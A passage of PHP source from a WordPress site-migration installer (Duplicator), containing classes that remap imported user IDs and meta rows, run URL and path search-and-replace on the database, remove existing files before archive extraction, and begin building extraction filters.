= mysqli_real_escape_string($dbh, DUPX_DB_Functions::getUserMetaTableName()); $query = 'SELECT max(umeta_id) AS maxId FROM `' . $userMetaTable . '`'; if (($queryRes = DUPX_DB::mysqli_query($dbh, $query)) === false) { $err = mysqli_error($dbh); throw new Exception('Query error: ' . $err); } $row = $queryRes->fetch_assoc(); $this->usersMetaAutoIncrement = ((int) $row['maxId']) + 1; $queryRes->free_result(); Log::info('USERMETA TABLE AUTOINCREMENT VALUE ' . $this->usersAutoIncrement, Log::LV_DETAILED); $query = 'SELECT COUNT(*) FROM `' . $userTable . '`'; if (($queryRes = DUPX_DB::mysqli_query($dbh, $query)) === false) { $err = mysqli_error($dbh); throw new Exception('Query error: ' . $err); } $row = $queryRes->fetch_array(); $maxNumIds = $row[0]; $query = 'SELECT `meta_key`, IF(COUNT(`user_id`) >= ' . $maxNumIds . ', "ALL", GROUP_CONCAT(`user_id` ORDER BY `user_id` ASC)) AS IDS ' . 'FROM `' . $userMetaTable . '`' . 'WHERE `user_id` IN (SELECT `ID` FROM `' . $userTable . '`) GROUP BY meta_key'; if (($queryRes = DUPX_DB::mysqli_query($dbh, $query)) === false) { $err = mysqli_error($dbh); throw new Exception('Query error: ' . $err); } while ($row = $queryRes->fetch_assoc()) { $this->existingsMetaIsd[$row['meta_key']] = ( ($row['IDS'] === 'ALL') ? true : array_map('intval', explode(',', $row['IDS'])) ); } Log::info('NUM META KEYS READ ' . count($this->existingsMetaIsd), Log::LV_DETAILED); $queryRes->free_result(); } /** * Apply inser query user fixes * * @param string $query query string * * @return string if the string is empty no query must be executed */ public function applyUsersFixes(&$query) { if ($this->userMode == ParamDescUsers::USER_MODE_OVERWRITE) { return $query; } $matches = array(); if (preg_match('/^\s*(?:\/\*.*\*\/|#.*\n|--.*\n)?\s*INSERT\s+INTO\s+`?([^\s`]*?)`?\s+VALUES/s', $query, $matches) !== 1) { return $query; } $tableName = SnapDB::parsedQueryValueToString($matches[1]); if ($this->userMode == ParamDescUsers::USER_MODE_IMPORT_USERS) { if ($tableName == DUPX_DB_Functions::getUserTableName()) { return $this->getUserTableQueryFix(SnapDB::getValuesFromQueryInsert($query)); } elseif ($tableName == DUPX_DB_Functions::getUserMetaTableName()) { return $this->getUserMetaTableQueryFix(SnapDB::getValuesFromQueryInsert($query)); } } $tablesColRemap = self::getTableColIdsToRemap(); if (in_array($tableName, array_keys($tablesColRemap))) { return $this->getTableUserRemapQueryFix( $tableName, $tablesColRemap[$tableName], SnapDB::getValuesFromQueryInsert($query) ); } return $query; } /** * Generate import final report * * @return void */ public function generateImportReport() { if ($this->userMode !== ParamDescUsers::USER_MODE_IMPORT_USERS) { return; } $numAdded = 0; $numChanged = 0; if (($fp = fopen(DUPX_INIT . '/' . self::getCsvReportName(), 'w')) === false) { Log::info('Can\'t open report file ' . DUPX_INIT . '/' . self::getCsvReportName()); } else { fputcsv($fp, ImportUser::getArrayReportTitles()); } foreach ($this->targetUsersById as $user) { if ($user->isAdded()) { $numAdded++; } elseif ($user->isChanged()) { $numChanged++; } else { continue; } if ($fp != false) { fputcsv($fp, $user->getArrayReport()); } } if ($fp != false) { fclose($fp); $csvUrl = DUPX_INIT_URL . '/' . self::getCsvReportName(); } else { $csvUrl = false; } $longMsg = dupxTplRender( 'parts/reports/import_report', array( 'numAdded' => $numAdded, 'numChanged' => $numChanged, 'csvUrl' => $csvUrl ), false ); $nManager = DUPX_NOTICE_MANAGER::getInstance(); $nManager->addFinalReportNotice( array( 'shortMsg' => 'User import report', 'level' => DUPX_NOTICE_ITEM::NOTICE, 'longMsg' => $longMsg, 'longMsgMode' => DUPX_NOTICE_ITEM::MSG_MODE_HTML, 'sections' => 'general' ) ); $nManager->saveNotices(); } /** * Return csv report file name * * @return string */ protected static function getCsvReportName() { return 'dup-installer-import-report__' . DUPX_Security::getInstance()->getSecondaryPackageHash() . '.csv'; } /** * Apply query fix for user table * * @param array $queryValues two dimensional array where each item is a row containing the list of values * * @return string */ protected function getUserTableQueryFix($queryValues) { $dbh = DUPX_DB_Functions::getInstance()->dbConnection(); $resultValues = array(); $numColsQueryVals = isset($queryValues[0]) ? count($queryValues[0]) : 0; $colsDeltaDiff = $this->userTableNumCols - $numColsQueryVals; foreach ($queryValues as $rowVals) { $rowId = SnapDB::parsedQueryValueToInt($rowVals[0]); $rowLogin = SnapDB::parsedQueryValueToString($rowVals[1]); $rowMail = SnapDB::parsedQueryValueToString($rowVals[4]); if (isset($this->targetUsersByMail[$rowMail])) { $targetUser = $this->targetUsersByMail[$rowMail]; $targetId = $targetUser->getId(); $targetLogin = $targetUser->getLogin(); if ($rowId != $targetId) { $targetUser->setOldId($rowId); $this->mappingIds[$rowId] = $targetId; } if ($rowLogin != $targetLogin) { $targetUser->setOldLogin($rowLogin); } } else { $rowVals[0] = $targetId = $this->usersAutoIncrement; $this->usersAutoIncrement ++; if ($rowId != $targetId) { $this->mappingIds[$rowId] = $targetId; } $newLogin = $rowLogin; $postfixIndex = 0; while (isset($this->targetUsersByLogin[$newLogin])) { $postfixIndex++; $newLogin = $rowLogin . $postfixIndex; } if ($rowLogin != $newLogin) { $rowVals[1] = '"' . mysqli_real_escape_string($dbh, $newLogin) . '"'; $niceName = SnapDB::parsedQueryValueToString($rowVals[3]); $rowVals[3] = '"' . mysqli_real_escape_string($dbh, $niceName) . $postfixIndex . '"'; $displayName = SnapDB::parsedQueryValueToString($rowVals[9]); if ($rowLogin == $displayName) { $rowVals[9] = '"' . mysqli_real_escape_string($dbh, $newLogin) . '"'; } } $user = new ImportUser($targetId, $newLogin, $rowMail, $rowId, $rowLogin, true); $this->targetUsersById[$user->getId()] = $user; $this->targetUsersByMail[$user->getMail()] = $user; $this->targetUsersByLogin[$user->getLogin()] = $user; $this->addedUsers[$user->getOldId()] = true; if ($colsDeltaDiff == 0) { $resultValues[] = $rowVals; } elseif ($colsDeltaDiff < 0) { $resultValues[] = array_slice($rowVals, 0, $this->userTableNumCols); } else { for ($i = 0; $i < $colsDeltaDiff; $i++) { $rowVals[] = '"0"'; } $resultValues[] = $rowVals; } } } if (empty($resultValues)) { return ''; } return 'INSERT INTO `' . mysqli_real_escape_string($dbh, DUPX_DB_Functions::getUserTableName()) . '` ' . 'VALUES ' . SnapDB::getQueryInsertValuesFromArray($resultValues) . ';'; } /** * Apply query fix for usermeta table * * @param array $queryValues two dimensional array where each item is a row containing the list of values * * @return string */ protected function getUserMetaTableQueryFix($queryValues) { $dbh = DUPX_DB_Functions::getInstance()->dbConnection(); $resultValues = array(); // reset value $user = new ImportUser(-1, '', ''); $prefixMatches = null; foreach ($queryValues as $rowVals) { try { $rowUserId = SnapDB::parsedQueryValueToInt($rowVals[1]); $rowMetakey = SnapDB::parsedQueryValueToString($rowVals[2]); if ($user->getId() != $rowUserId) { $userId = isset($this->mappingIds[$rowUserId]) ? $this->mappingIds[$rowUserId] : $rowUserId; if (isset($this->targetUsersById[$userId])) { $user = $this->targetUsersById[$userId]; } else { // This happens if there is a meta key that has a user id that does not belong to any user, it is an anomalous thing so it is skipped. continue; } } if (preg_match($this->prefixMetaRegexCheck, $rowMetakey, $prefixMatches) === 1) { $currentId = (int)$prefixMatches[1]; if (!isset($this->prefixMetaMapping[$currentId])) { // if the attribute is not of the selected sub-site then it is not inserted in the import continue; } $rowMetakey = $this->prefixMetaMapping[$currentId] . $prefixMatches[2]; $rowVals[2] = '"' . mysqli_real_escape_string($dbh, $rowMetakey) . '"'; } if ( $user->isAdded() || !isset($this->existingsMetaIsd[$rowMetakey]) || ( $this->existingsMetaIsd[$rowMetakey] !== true && SnapUtil::binarySearch($this->existingsMetaIsd[$rowMetakey], $user->getId()) == false ) ) { $rowVals[0] = $this->usersMetaAutoIncrement; $this->usersMetaAutoIncrement ++; $rowVals[1] = $user->getId(); if ($rowMetakey == 'nickname') { // update nickname $rowMetaValue = SnapDB::parsedQueryValueToString($rowVals[3]); if ($rowMetaValue == $user->getOldLogin()) { $rowVals[3] = '"' . mysqli_real_escape_string($dbh, $user->getLogin()) . '"'; } } $resultValues[] = $rowVals; } } catch (Exception $e) { Log::logException($e, 'Error on parse user meta row'); } catch (Error $e) { Log::logException($e, 'Error on parse user meta row'); } } if (empty($resultValues)) { return ''; } return 'INSERT INTO `' . mysqli_real_escape_string($dbh, DUPX_DB_Functions::getUserMetaTableName()) . '` VALUES ' . SnapDB::getQueryInsertValuesFromArray($resultValues) . ';'; } /** * Apply query fix for table/colum user id * * @param string $tableName table name * @param string $colNum column index, 0 is first * @param array $queryValues two dimensional array where each item is a row containing the list of values * * @return void */ protected function getTableUserRemapQueryFix($tableName, $colNum, $queryValues) { $dbh = DUPX_DB_Functions::getInstance()->dbConnection(); for ($i = 0; $i < count($queryValues); $i++) { $rowUserId = SnapDB::parsedQueryValueToInt($queryValues[$i][$colNum]); if (isset($this->mappingIds[$rowUserId])) { $queryValues[$i][$colNum] = $this->mappingIds[$rowUserId]; } } return 'INSERT INTO `' . mysqli_real_escape_string($dbh, $tableName) . '` VALUES ' . SnapDB::getQueryInsertValuesFromArray($queryValues) . ';'; } } Deploy/Database/DbReplace.php 0000644 00000026571 15136236437 0012063 0 ustar 00 <?php namespace Duplicator\Installer\Core\Deploy\Database; use Duplicator\Installer\Core\Params\PrmMng; use Duplicator\Installer\Utils\Log\Log; use Duplicator\Libs\Snap\SnapIO; use DUPX_ArchiveConfig; use DUPX_InstallerState; use DUPX_S_R_ITEM; use DUPX_S_R_MANAGER; use DUPX_U; use DUPX_UpdateEngine; use Exception; class DbReplace { /** @var string */ protected $mainUrlOld = ''; /** @var string */ protected $mainUrlNew = ''; /** @var bool */ protected $forceReplaceSiteSubfolders = false; /** * Class constructor */ public function __construct() { $prmMng = PrmMng::getInstance(); $this->mainUrlOld = $prmMng->getValue(PrmMng::PARAM_URL_OLD); $this->mainUrlNew = $prmMng->getValue(PrmMng::PARAM_URL_NEW); } /** * Set search and replace strings * * @return bool */ public function setSearchReplace() { switch (DUPX_InstallerState::getInstType()) { case DUPX_InstallerState::INSTALL_SINGLE_SITE: $this->setGlobalSearchAndReplaceList(); break; case DUPX_InstallerState::INSTALL_SINGLE_SITE_ON_SUBDOMAIN: case DUPX_InstallerState::INSTALL_SINGLE_SITE_ON_SUBFOLDER: throw new Exception('mode not avaiable'); case DUPX_InstallerState::INSTALL_RBACKUP_SINGLE_SITE: throw new Exception('Replace engine isn\'t avaiable for restore backup mode'); case DUPX_InstallerState::INSTALL_NOT_SET: default: throw new Exception('Invalid installer mode'); } return true; } /** * Set global search replace * * @return void */ private function setGlobalSearchAndReplaceList() { $srManager = DUPX_S_R_MANAGER::getInstance(); $paramsManager = PrmMng::getInstance(); // DIRS PATHS $this->addReplaceEnginePaths($srManager); Log::info('GLOBAL SEARCH REPLACE ', Log::LV_DETAILED); if ( !DUPX_InstallerState::isInstallerCreatedInThisLocation() ) { $uploadUrlOld = $paramsManager->getValue(PrmMng::PARAM_URL_UPLOADS_OLD); $uploadUrlNew = $paramsManager->getValue(PrmMng::PARAM_URL_UPLOADS_NEW); if (self::checkRelativeAndAbsoluteDiff($this->mainUrlOld, $this->mainUrlNew, $uploadUrlOld, $uploadUrlNew)) { $srManager->addItem($uploadUrlOld, $uploadUrlNew, DUPX_S_R_ITEM::TYPE_URL_NORMALIZE_DOMAIN, DUPX_UpdateEngine::SR_PRORITY_GENERIC_SUBST_P1); } $siteUrlOld = $paramsManager->getValue(PrmMng::PARAM_SITE_URL_OLD); $siteUrlNew = $paramsManager->getValue(PrmMng::PARAM_SITE_URL); if (self::checkRelativeAndAbsoluteDiff($this->mainUrlOld, $this->mainUrlNew, $siteUrlOld, $siteUrlNew)) { $srManager->addItem($siteUrlOld, $siteUrlNew, DUPX_S_R_ITEM::TYPE_URL_NORMALIZE_DOMAIN, DUPX_UpdateEngine::SR_PRORITY_GENERIC_SUBST_P3); } $srManager->addItem($this->mainUrlOld, $this->mainUrlNew, DUPX_S_R_ITEM::TYPE_URL_NORMALIZE_DOMAIN, DUPX_UpdateEngine::SR_PRORITY_GENERIC_SUBST_P3); } $pluginsUrlOld = $paramsManager->getValue(PrmMng::PARAM_URL_PLUGINS_OLD); $pluginsUrlNew = $paramsManager->getValue(PrmMng::PARAM_URL_PLUGINS_NEW); if ( $this->forceReplaceSiteSubfolders || self::checkRelativeAndAbsoluteDiff($this->mainUrlOld, $this->mainUrlNew, $pluginsUrlOld, $pluginsUrlNew) ) { $srManager->addItem($pluginsUrlOld, $pluginsUrlNew, DUPX_S_R_ITEM::TYPE_URL_NORMALIZE_DOMAIN, DUPX_UpdateEngine::SR_PRORITY_GENERIC_SUBST_P1); } $mupluginsUrlOld = $paramsManager->getValue(PrmMng::PARAM_URL_MUPLUGINS_OLD); $mupluginsUrlNew = $paramsManager->getValue(PrmMng::PARAM_URL_MUPLUGINS_NEW); if ( $this->forceReplaceSiteSubfolders || self::checkRelativeAndAbsoluteDiff($this->mainUrlOld, $this->mainUrlNew, $mupluginsUrlOld, $mupluginsUrlNew) ) { $srManager->addItem($mupluginsUrlOld, $mupluginsUrlNew, DUPX_S_R_ITEM::TYPE_URL_NORMALIZE_DOMAIN, DUPX_UpdateEngine::SR_PRORITY_GENERIC_SUBST_P1); } $contentUrlOld = $paramsManager->getValue(PrmMng::PARAM_URL_CONTENT_OLD); $contentUrlNew = $paramsManager->getValue(PrmMng::PARAM_URL_CONTENT_NEW); if ( $this->forceReplaceSiteSubfolders || self::checkRelativeAndAbsoluteDiff($this->mainUrlOld, $this->mainUrlNew, $contentUrlOld, $contentUrlNew) ) { $srManager->addItem($contentUrlOld, $contentUrlNew, DUPX_S_R_ITEM::TYPE_URL_NORMALIZE_DOMAIN, DUPX_UpdateEngine::SR_PRORITY_GENERIC_SUBST_P2); } // Replace email address (xyz@oldomain.com to xyz@newdomain.com). if ($paramsManager->getValue(PrmMng::PARAM_EMAIL_REPLACE)) { $at_old_domain = '@' . DUPX_U::getDomain($this->mainUrlOld); $at_new_domain = '@' . DUPX_U::getDomain($this->mainUrlNew); $srManager->addItem($at_old_domain, $at_new_domain, DUPX_S_R_ITEM::TYPE_STRING, DUPX_UpdateEngine::SR_PRORITY_LOW); } } /** * add paths to replace on sear/replace engine * * @return void */ private function addReplaceEnginePaths() { $srManager = DUPX_S_R_MANAGER::getInstance(); $paramsManager = PrmMng::getInstance(); if ($paramsManager->getValue(PrmMng::PARAM_SKIP_PATH_REPLACE)) { return; } $archiveConfig = DUPX_ArchiveConfig::getInstance(); $originalPaths = $archiveConfig->getRealValue('originalPaths'); $mainPathOld = $paramsManager->getValue(PrmMng::PARAM_PATH_OLD); $mainPathNew = $paramsManager->getValue(PrmMng::PARAM_PATH_NEW); if ( !DUPX_InstallerState::isInstallerCreatedInThisLocation() ) { $uploadPathOld = $paramsManager->getValue(PrmMng::PARAM_PATH_UPLOADS_OLD); $uploadPathNew = $paramsManager->getValue(PrmMng::PARAM_PATH_UPLOADS_NEW); if (self::checkRelativeAndAbsoluteDiff($mainPathOld, $mainPathNew, $uploadPathOld, $uploadPathNew)) { $srManager->addItem($uploadPathOld, $uploadPathNew, DUPX_S_R_ITEM::TYPE_PATH, DUPX_UpdateEngine::SR_PRORITY_GENERIC_SUBST_P1); } if ( $originalPaths->uploads != $uploadPathOld && self::checkRelativeAndAbsoluteDiff($originalPaths->home, $mainPathNew, $originalPaths->uploads, $uploadPathNew) ) { $srManager->addItem($originalPaths->uploads, $uploadPathNew, DUPX_S_R_ITEM::TYPE_PATH, DUPX_UpdateEngine::SR_PRORITY_GENERIC_SUBST_P1); } $corePathOld = $paramsManager->getValue(PrmMng::PARAM_PATH_WP_CORE_OLD); $corePathNew = $paramsManager->getValue(PrmMng::PARAM_PATH_WP_CORE_NEW); if (self::checkRelativeAndAbsoluteDiff($mainPathOld, $mainPathNew, $corePathOld, $corePathNew)) { $srManager->addItem($corePathOld, $corePathNew, DUPX_S_R_ITEM::TYPE_PATH, DUPX_UpdateEngine::SR_PRORITY_GENERIC_SUBST_P3); } if ( $originalPaths->abs != $corePathOld && self::checkRelativeAndAbsoluteDiff($originalPaths->home, $mainPathNew, $originalPaths->abs, $corePathNew) ) { $srManager->addItem($originalPaths->abs, $corePathNew, DUPX_S_R_ITEM::TYPE_PATH, DUPX_UpdateEngine::SR_PRORITY_GENERIC_SUBST_P3); } $srManager->addItem($mainPathOld, $mainPathNew, DUPX_S_R_ITEM::TYPE_PATH, DUPX_UpdateEngine::SR_PRORITY_GENERIC_SUBST_P3); if ($originalPaths->home != $mainPathOld) { $srManager->addItem($originalPaths->home, $mainPathNew, DUPX_S_R_ITEM::TYPE_PATH, DUPX_UpdateEngine::SR_PRORITY_GENERIC_SUBST_P3); } } $pluginsPathOld = $paramsManager->getValue(PrmMng::PARAM_PATH_PLUGINS_OLD); $pluginsPathNew = $paramsManager->getValue(PrmMng::PARAM_PATH_PLUGINS_NEW); if (self::checkRelativeAndAbsoluteDiff($mainPathOld, $mainPathNew, $pluginsPathOld, $pluginsPathNew)) { $srManager->addItem($pluginsPathOld, $pluginsPathNew, DUPX_S_R_ITEM::TYPE_PATH, DUPX_UpdateEngine::SR_PRORITY_GENERIC_SUBST_P1); } if ( $originalPaths->plugins != $pluginsPathOld && self::checkRelativeAndAbsoluteDiff($originalPaths->home, $mainPathNew, $originalPaths->plugins, $pluginsPathNew) ) { $srManager->addItem($originalPaths->plugins, $pluginsPathNew, DUPX_S_R_ITEM::TYPE_PATH, DUPX_UpdateEngine::SR_PRORITY_GENERIC_SUBST_P1); } $mupluginsPathOld = $paramsManager->getValue(PrmMng::PARAM_PATH_MUPLUGINS_OLD); $mupluginsPathNew = $paramsManager->getValue(PrmMng::PARAM_PATH_MUPLUGINS_NEW); if (self::checkRelativeAndAbsoluteDiff($mainPathOld, $mainPathNew, $mupluginsPathOld, $mupluginsPathNew)) { $srManager->addItem($mupluginsPathOld, $mupluginsPathNew, DUPX_S_R_ITEM::TYPE_PATH, DUPX_UpdateEngine::SR_PRORITY_GENERIC_SUBST_P1); } if ( $originalPaths->muplugins != $mupluginsPathOld && self::checkRelativeAndAbsoluteDiff($originalPaths->home, $mainPathNew, $originalPaths->muplugins, $mupluginsPathNew) ) { $srManager->addItem($originalPaths->muplugins, $mupluginsPathNew, DUPX_S_R_ITEM::TYPE_PATH, DUPX_UpdateEngine::SR_PRORITY_GENERIC_SUBST_P1); } $contentPathOld = $paramsManager->getValue(PrmMng::PARAM_PATH_CONTENT_OLD); $contentPathNew = $paramsManager->getValue(PrmMng::PARAM_PATH_CONTENT_NEW); if (self::checkRelativeAndAbsoluteDiff($mainPathOld, $mainPathNew, $contentPathOld, $contentPathNew)) { $srManager->addItem($contentPathOld, $contentPathNew, DUPX_S_R_ITEM::TYPE_PATH, DUPX_UpdateEngine::SR_PRORITY_GENERIC_SUBST_P2); } if ( $originalPaths->wpcontent != $contentPathOld && self::checkRelativeAndAbsoluteDiff($originalPaths->home, $mainPathNew, $originalPaths->wpcontent, $contentPathNew) ) { $srManager->addItem($originalPaths->wpcontent, $contentPathNew, DUPX_S_R_ITEM::TYPE_PATH, DUPX_UpdateEngine::SR_PRORITY_GENERIC_SUBST_P2); } } /** * Check if sub path if different * * @param string $mainOld main old path * @param string $mainNew main new path * @param string $old old sub path * @param string $new new sub path * * @return bool */ private static function checkRelativeAndAbsoluteDiff($mainOld, $mainNew, $old, $new) { $mainOld = SnapIO::safePath($mainOld); $mainNew = SnapIO::safePath($mainNew); $old = SnapIO::safePath($old); $new = SnapIO::safePath($new); $log = "CHECK REL AND ABS DIF\n" . "\tMAIN OLD: " . Log::v2str($mainOld) . "\n" . "\tMAIN NEW: " . Log::v2str($mainNew) . "\n" . "\tOLD: " . Log::v2str($old) . "\n" . "\tNEW: " . Log::v2str($new); Log::info($log, Log::LV_DEBUG); $isRelativePathDifferent = substr($old, strlen($mainOld)) !== substr($new, strlen($mainNew)); if (strpos($old, $mainOld) !== 0 || strpos($new, $mainNew) !== 0 || $isRelativePathDifferent) { Log::info("\t*** RESULT: TRUE", Log::LV_DEBUG); return true; } else { Log::info("\t*** RESULT: FALSE", Log::LV_DEBUG); return false; } } } Deploy/Files/RemoveFiles.php 0000644 00000020460 15136236437 0012007 0 ustar 00 <?php namespace Duplicator\Installer\Core\Deploy\Files; use DUP_Extraction; use Duplicator\Installer\Core\Params\PrmMng; use Duplicator\Installer\Utils\Log\Log; use Duplicator\Libs\Snap\SnapIO; use Duplicator\Libs\Snap\SnapWP; use DUPX_ArchiveConfig; use DUPX_Custom_Host_Manager; use DUPX_InstallerState; use DUPX_NOTICE_ITEM; use DUPX_NOTICE_MANAGER; use Error; use Exception; class RemoveFiles { /** @var Filters */ protected $removeFilters = null; /** * Class contructor * * @param Filters $filters fles filters */ public function __construct(Filters $filters) { $this->removeFilters = $filters; } /** * Remove file if action is enableds * * @return void */ public function remove() { $paramsManager = PrmMng::getInstance(); switch ($paramsManager->getValue(PrmMng::PARAM_ARCHIVE_ACTION)) { case DUP_Extraction::ACTION_REMOVE_ALL_FILES: $this->removeAllFiles(); break; case DUP_Extraction::ACTION_REMOVE_WP_FILES: $this->removeWpFiles(); break; case DUP_Extraction::ACTION_REMOVE_UPLOADS: $this->removeUploads(); break; case DUP_Extraction::ACTION_DO_NOTHING: break; default: throw new Exception('Invalid engine action ' . $paramsManager->getValue(PrmMng::PARAM_ARCHIVE_ACTION)); } } /** * This function remove files before extraction * * @param string[] $folders Folders lists * * @return void */ protected function removeFiles($folders = array()) { Log::info('REMOVE FILES'); $excludeFiles = array_map(function ($value) { return '/^' . preg_quote($value, '/') . '$/'; }, $this->removeFilters->getFiles()); $excludeFolders = array_map(function ($value) { return '/^' . preg_quote($value, '/') . '(?:\/.*)?$/'; }, $this->removeFilters->getDirs()); $excludeFolders[] = '/.+\/backups-dup-(lite|pro)$/'; $excludeDirsWithoutChilds = $this->removeFilters->getDirsWithoutChilds(); foreach ($folders as $folder) { Log::info('REMOVE FOLDER ' . Log::v2str($folder)); SnapIO::regexGlobCallback($folder, function ($path) use ($excludeDirsWithoutChilds) { foreach ($excludeDirsWithoutChilds as $excludePath) { if (SnapIO::isChildPath($excludePath, $path)) { return; } } $result = (is_dir($path) ? rmdir($path) : unlink($path)); if ($result == false) { $lastError = error_get_last(); $message = (isset($lastError['message']) ? $lastError['message'] : 'Couldn\'t remove file'); RemoveFiles::reportRemoveNotices($path, $message); } }, array( 'regexFile' => $excludeFiles, 'regexFolder' => $excludeFolders, 'checkFullPath' => true, 'recursive' => true, 'invert' => true, 'childFirst' => true )); } } /** * Remove worpdress core files * * @return void */ protected function removeWpFiles() { try { Log::info('REMOVE WP FILES'); Log::resetTime(Log::LV_DEFAULT, false); $paramsManager = PrmMng::getInstance(); $absDir = SnapIO::safePathTrailingslashit($paramsManager->getValue(PrmMng::PARAM_PATH_WP_CORE_NEW)); if (!is_dir($absDir) || !is_readable($absDir)) { return false; } $removeFolders = array(); if (!FilterMng::filterWpCoreFiles() && ($dh = opendir($absDir))) { while (($elem = readdir($dh)) !== false) { if ($elem === '.' || $elem === '..') { continue; } if (SnapWP::isWpCore($elem, SnapWP::PATH_RELATIVE)) { $fullPath = $absDir . $elem; if (is_dir($fullPath)) { $removeFolders[] = $fullPath; } else { if (is_writable($fullPath)) { unlink($fullPath); } } } } closedir($dh); } $removeFolders[] = $paramsManager->getValue(PrmMng::PARAM_PATH_CONTENT_NEW); $removeFolders[] = $paramsManager->getValue(PrmMng::PARAM_PATH_UPLOADS_NEW); $removeFolders[] = $paramsManager->getValue(PrmMng::PARAM_PATH_PLUGINS_NEW); $removeFolders[] = $paramsManager->getValue(PrmMng::PARAM_PATH_MUPLUGINS_NEW); $this->removeFiles(array_unique($removeFolders)); Log::logTime('FOLDERS REMOVED', Log::LV_DEFAULT, false); } catch (Exception $e) { Log::logException($e); } catch (Error $e) { Log::logException($e); } } /** * Remove ony uploads files * * @return void */ protected function removeUploads() { try { Log::info('REMOVE UPLOADS FILES'); Log::resetTime(Log::LV_DEFAULT, false); $paramsManager = PrmMng::getInstance(); $removeFolders = array(); $removeFolders[] = $paramsManager->getValue(PrmMng::PARAM_PATH_UPLOADS_NEW); $this->removeFiles(array_unique($removeFolders)); Log::logTime('FOLDERS REMOVED', Log::LV_DEFAULT, false); } catch (Exception $e) { Log::logException($e); } catch (Error $e) { Log::logException($e); } } /** * Remove all files before extraction * * @return void */ protected function removeAllFiles() { try { Log::info('REMOVE ALL FILES'); Log::resetTime(Log::LV_DEFAULT, false); $pathsMapping = DUPX_ArchiveConfig::getInstance()->getPathsMapping(); $folders = is_string($pathsMapping) ? array($pathsMapping) : array_values($pathsMapping); $this->removeFiles($folders); Log::logTime('FOLDERS REMOVED', Log::LV_DEFAULT, false); } catch (Exception $e) { Log::logException($e); } catch (Error $e) { Log::logException($e); } } /** * * @param string $fileName package relative path * @param string $errorMessage error message * * @return void */ public static function reportRemoveNotices($fileName, $errorMessage) { if (DUPX_Custom_Host_Manager::getInstance()->skipWarningExtractionForManaged($fileName)) { // @todo skip warning for managed hostiong (it's a temp solution) return; } Log::info('Remove ' . $fileName . ' error message: ' . $errorMessage); if (is_dir($fileName)) { // Skip warning message for folders return; } $nManager = DUPX_NOTICE_MANAGER::getInstance(); if (SnapWP::isWpCore($fileName, SnapWP::PATH_RELATIVE)) { Log::info("FILE CORE REMOVE ERROR: {$fileName} | MSG:" . $errorMessage); $shortMsg = 'Can\'t remove wp core files'; $errLevel = DUPX_NOTICE_ITEM::CRITICAL; $idManager = 'wp-remove-error-file-core'; } else { Log::info("FILE REMOVE ERROR: {$fileName} | MSG:" . $errorMessage); $shortMsg = 'Can\'t remove files'; $errLevel = DUPX_NOTICE_ITEM::HARD_WARNING; $idManager = 'wp-remove-error-file-no-core'; } $longMsg = 'FILE: <b>' . htmlspecialchars($fileName) . '</b><br>Message: ' . htmlspecialchars($errorMessage) . '<br><br>'; $nManager->addBothNextAndFinalReportNotice( array( 'shortMsg' => $shortMsg, 'longMsg' => $longMsg, 'longMsgMode' => DUPX_NOTICE_ITEM::MSG_MODE_HTML, 'level' => $errLevel, 'sections' => array('files') ), DUPX_NOTICE_MANAGER::ADD_UNIQUE_APPEND, $idManager ); } } Deploy/Files/FilterMng.php 0000644 00000026032 15136236437 0011457 0 ustar 00 <?php namespace Duplicator\Installer\Core\Deploy\Files; use DUP_Extraction; use Duplicator\Installer\Core\Params\PrmMng; use Duplicator\Installer\Utils\Log\Log; use Duplicator\Libs\Snap\SnapIO; use Duplicator\Libs\Snap\SnapWP; use DUPX_ArchiveConfig; use DUPX_InstallerState; use DUPX_Package; use DUPX_Security; use DUPX_Server; use Exception; class FilterMng { /** * Return filter (folder/files) for extraction * * @param string $subFolderArchive sub folder archive * * @return Filters */ public static function getExtractFilters($subFolderArchive) { Log::info("INITIALIZE FILTERS"); $paramsManager = PrmMng::getInstance(); $archiveConfig = DUPX_ArchiveConfig::getInstance(); $result = new Filters(); $filterFilesChildOfFolders = array(); $acceptFolderOfFilterChilds = array(); $result->addFile($archiveConfig->installer_backup_name); $result->addDir(ltrim($subFolderArchive . '/' . DUP_Extraction::DUP_FOLDER_NAME, '/')); if (self::filterWpCoreFiles()) { $relAbsPath = $archiveConfig->getRelativePathsInArchive('abs'); $relAbsPath .= (strlen($relAbsPath) > 0 ? '/' : ''); $rootWpCoreItems = SnapWP::getWpCoreFilesListInFolder(); foreach ($rootWpCoreItems['dirs'] as $name) { $result->addDir($relAbsPath . $name); } foreach ($rootWpCoreItems['files'] as $name) { $result->addFile($relAbsPath . $name); } } if (self::filterAllExceptPlugingThemesMedia()) { Log::info('FILTER ALL EXCEPT MEDIA'); $filterFilesChildOfFolders[] = $archiveConfig->getRelativePathsInArchive('home'); $filterFilesChildOfFolders[] = $archiveConfig->getRelativePathsInArchive('wpcontent'); $acceptFolderOfFilterChilds[] = $archiveConfig->getRelativePathsInArchive('uploads'); $acceptFolderOfFilterChilds[] = $archiveConfig->getRelativePathsInArchive('wpcontent') . '/blogs.dir'; $acceptFolderOfFilterChilds[] = $archiveConfig->getRelativePathsInArchive('plugins'); $acceptFolderOfFilterChilds[] = $archiveConfig->getRelativePathsInArchive('muplugins'); $acceptFolderOfFilterChilds[] = $archiveConfig->getRelativePathsInArchive('themes'); } if (self::filterExistsPlugins()) { $newPluginDir = $paramsManager->getValue(PrmMng::PARAM_PATH_PLUGINS_NEW); if (is_dir($newPluginDir)) { $relPlugPath = $archiveConfig->getRelativePathsInArchive('plugins'); $relPlugPath .= (strlen($relPlugPath) > 0 ? '/' : ''); SnapIO::regexGlobCallback($newPluginDir, function ($item) use ($relPlugPath, &$result) { if (is_dir($item)) { $result->addDir($relPlugPath . pathinfo($item, PATHINFO_BASENAME)); } else { $result->addFile($relPlugPath . pathinfo($item, PATHINFO_BASENAME)); } }, array()); } $newMuPluginDir = $paramsManager->getValue(PrmMng::PARAM_PATH_MUPLUGINS_NEW); if (is_dir($newMuPluginDir)) { $relMuPlugPath = $archiveConfig->getRelativePathsInArchive('muplugins'); $relMuPlugPath .= (strlen($relMuPlugPath) > 0 ? '/' : ''); SnapIO::regexGlobCallback($newMuPluginDir, function ($item) use ($relMuPlugPath, &$result) { if (is_dir($item)) { $result->addDir($relMuPlugPath . pathinfo($item, PATHINFO_BASENAME)); } else { $result->addFile($relMuPlugPath . pathinfo($item, PATHINFO_BASENAME)); } }, array()); } $newWpContentDir = $paramsManager->getValue(PrmMng::PARAM_PATH_CONTENT_NEW) . '/'; if (is_dir($newWpContentDir)) { $relContentPath = $archiveConfig->getRelativePathsInArchive('wpcontent'); $relContentPath .= (strlen($relContentPath) > 0 ? '/' : ''); foreach (SnapWP::getDropinsPluginsNames() as $dropinsPlugin) { if (file_exists($newWpContentDir 